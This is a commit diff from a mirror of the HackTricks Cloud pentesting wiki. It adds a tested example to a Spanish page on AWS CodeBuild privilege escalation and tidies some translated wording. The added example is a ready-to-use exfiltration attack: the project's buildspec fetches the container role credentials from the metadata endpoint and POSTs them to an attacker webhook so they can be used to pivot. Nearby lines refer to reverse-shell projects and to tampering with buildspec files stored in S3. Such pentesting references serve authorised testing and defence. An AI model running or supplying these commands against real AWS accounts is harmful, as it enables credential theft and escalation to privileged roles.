mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 02:03:45 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
|
|||||||
# Start a build with the new project
|
# Start a build with the new project
|
||||||
aws codebuild start-build --project-name reverse-shell-project
|
aws codebuild start-build --project-name reverse-shell-project
|
||||||
|
|
||||||
|
```
|
||||||
|
{{#endtab }}
|
||||||
|
|
||||||
|
{{#tab name="Example3" }}
|
||||||
|
```bash
|
||||||
|
# Generated by ex16x41, tested
|
||||||
|
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
|
||||||
|
|
||||||
|
{
|
||||||
|
"name": "user-project-1",
|
||||||
|
"source": {
|
||||||
|
"type": "NO_SOURCE",
|
||||||
|
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
|
||||||
|
},
|
||||||
|
"artifacts": {
|
||||||
|
"type": "NO_ARTIFACTS"
|
||||||
|
},
|
||||||
|
"environment": {
|
||||||
|
"type": "LINUX_CONTAINER",
|
||||||
|
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
|
||||||
|
"computeType": "BUILD_GENERAL1_SMALL"
|
||||||
|
},
|
||||||
|
"serviceRole": "ARN-OF-TARGET-ROLE"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create a new CodeBuild project with the hook.json file
|
||||||
|
aws codebuild create-project --cli-input-json file:///tmp/hook.json
|
||||||
|
|
||||||
|
# Start a build with the new project
|
||||||
|
aws codebuild start-build --project-name user-project-1
|
||||||
|
|
||||||
|
# Get Credentials output to webhook address
|
||||||
|
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
|
||||||
|
|
||||||
```
|
```
|
||||||
{{#endtab }}
|
{{#endtab }}
|
||||||
{{#endtabs }}
|
{{#endtabs }}
|
||||||
@@ -188,7 +222,7 @@ aws codebuild start-build --project-name codebuild-demo-project
|
|||||||
|
|
||||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||||
|
|
||||||
Como en la sección anterior pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
|
Como en la sección anterior, pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**.
|
||||||
|
|
||||||
{{#tabs }}
|
{{#tabs }}
|
||||||
{{#tab name="StartBuild" }}
|
{{#tab name="StartBuild" }}
|
||||||
@@ -268,15 +302,15 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
|||||||
|
|
||||||
### SSM
|
### SSM
|
||||||
|
|
||||||
Teniendo **suficientes permisos para iniciar una sesión ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo.
|
Teniendo **suficientes permisos para iniciar una sesión de ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo.
|
||||||
|
|
||||||
El proyecto de codebuild necesitará tener un punto de interrupción:
|
El proyecto de codebuild necesitará tener un punto de interrupción:
|
||||||
|
|
||||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||||
pre_build:
|
pre_build:
|
||||||
commands:
|
commands:
|
||||||
- echo Entró en la fase pre_build...
|
- echo Entered the pre_build phase...
|
||||||
- echo "Hola Mundo" > /tmp/hello-world
|
- echo "Hello World" > /tmp/hello-world
|
||||||
<strong> - codebuild-breakpoint
|
<strong> - codebuild-breakpoint
|
||||||
</strong></code></pre>
|
</strong></code></pre>
|
||||||
|
|
||||||
@@ -289,7 +323,7 @@ Para más información [**consulta la documentación**](https://docs.aws.amazon.
|
|||||||
|
|
||||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||||
|
|
||||||
Un atacante que pueda iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
|
Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild.
|
||||||
|
|
||||||
Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante.
|
Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante.
|
||||||
```bash
|
```bash
|
||||||
@@ -320,7 +354,7 @@ commands:
|
|||||||
**Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios.
|
**Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Tenga en cuenta que se podría esperar que el buildspec esté en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
|
> Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir.
|
||||||
|
|
||||||
Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user